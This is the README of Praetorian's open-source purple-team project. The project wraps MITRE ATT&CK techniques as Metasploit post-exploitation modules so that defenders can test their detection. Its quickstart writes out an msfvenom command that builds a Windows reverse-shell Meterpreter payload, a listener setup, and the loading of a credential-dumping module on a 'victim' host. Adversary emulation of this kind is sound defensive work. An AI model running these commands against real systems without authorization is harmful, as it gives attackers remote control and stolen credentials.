Purple Team ATT&CK™ Automation

At Praetorian, we were seeking a way to automatically emulate adversary tactics in order to evaluate detection and response capabilities. Our solution implements MITRE ATT&CK™ TTPs as Metasploit Framework post modules. As of this release, we've automated a little over 100 TTPs as modules.

Metasploit's advantage is its robust library, capability to interact with operating system APIs, and its flexible license. In addition, we're able to emulate the features of other tools such as in-memory .NET execution via leveraging Metasploit's execute_powershell functionality. This allows Blue Teams to ensure that their tools are alerting on the actual TTP behavior and not execution artifacts (such as encoded PowerShell).

Our solution is built on top of the latest version of Metasploit as of 09Apr2019 (pulled from: https://github.com/rapid7/metasploit-framework). We’ve made minor modifications to Metasploit’s code base to enable some of the automation. Everything should work as intended if you’re already familiar with Metasploit. The magic happens after you establish a Meterpreter session and run a TTP as a post-exploitation module.

We're open sourcing our work because we believe in solving the cybersecurity problem. By giving Blue Teams more tools to emulate adversary behavior, we hope to improve their capabilities and reduce the still very high average dwell time.

Wiki

For detailed opertional usage guidance and a full list of modules and changes, please view the GitHub Wiki.

Quickstart

Quick start video guide: https://youtu.be/o3Qb_0clIpg

Installation should follow the instructions for installing a Metasploit Docker environment: https://github.com/rapid7/metasploit-framework/tree/master/docker

In general:

• Install Docker
• git clone https://github.com/praetorian-code/purple-team-attack-automation.git
• Edit ./docker-compose.local.override.yml to reflect the LHOST of your local system similar to below. By default, port 4444 will be forwarded to the docker container. If you want to use other ports, for instance to mirror HTTPS, you'll have to add them to this file.

version: '3'
services:
  ms:
    environment:
      # example of setting LHOST
      LHOST: 10.0.8.2
    # example of adding more ports
    ports:
      - 8080:8080
      - 443:443

• Add / Remove further ports or IP addresses as you see fit. Don't forget to change the LHOST to your own IP address.
• Make sure you set LHOST to valid hostname that resolves to your host machine.
• Now you need to set the COMPOSE_FILE environment variable to load your local override.

echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env

• docker-compose build
• Start the container with ./docker/bin/msfconsole
• Generate a Meterpreter payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Attacker IP Address> LPORT=4444 -f exe > meterpreter.exe

• Start and run a local listener:

 use exploit/multi/handler
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST <Attacker IP Address>
 set LPORT 4444
 exploit -j -z

Copy and run meterpreter.exe on the target (“victim”) host as admin and wait for a session.

• Run a TTP as a post-exploitation module. The list of modules is provided below. For example, to start the 'Credential Dumping (T1003)’ module, run:

use modules/post/windows/purple/t1003
info
set session 1
run

Meterpreter Payloads

Praetorian recommends you utilize the nightly installers in order to run msfvenom to create your payloads.

Common Errors

ERROR: Couldn't connect to Docker daemon at http+docker://localunixsocket - is it running?

Solved by

service docker start

Future Work

• Integrate the container into a fork of DetectionLab
• Compare execution of CALDERA and MSF and how artifacts differ so we can improve adversary emulation
• Leverage the MSFRPCD to facilitate automatic attack chaining

Contact

If you're interested in our Purple Team services, please contact us online or read more about "Why Praetorian Benchmarks to MITRE ATT&CK™ and Why You Should Too".

If you're an engineer looking to join our great team, we have openings at our careers page.

Contributing

See the Contribution Guide for a step-by-step guide to making a module.

Also, follow the Metasploit Framework's general contributing guidelines.

Acknowledgements

We'd like to thank various members of the security community for providing a lot of the techniques and code that we integrated into this project.

• MITRE ATT&CK™ (Obviously)
• Atomic Red Team
• @subtee
• LOLBAS Project
• CALDERA

At Praetorian, the following engineers helped contribute modules:

• Josh Abraham jabra [at] spl0it.org and @jabra
• Abraham Adberstein
• Tanner Harper
• Thomas Hendrickson github.com/tomis007
• George Jouldjian
• Dallas Kaman
• Blake Luther
• Matt Schneider
• Matthew Verrette
• Daniel Wyleczuk-Stern @daniel_infosec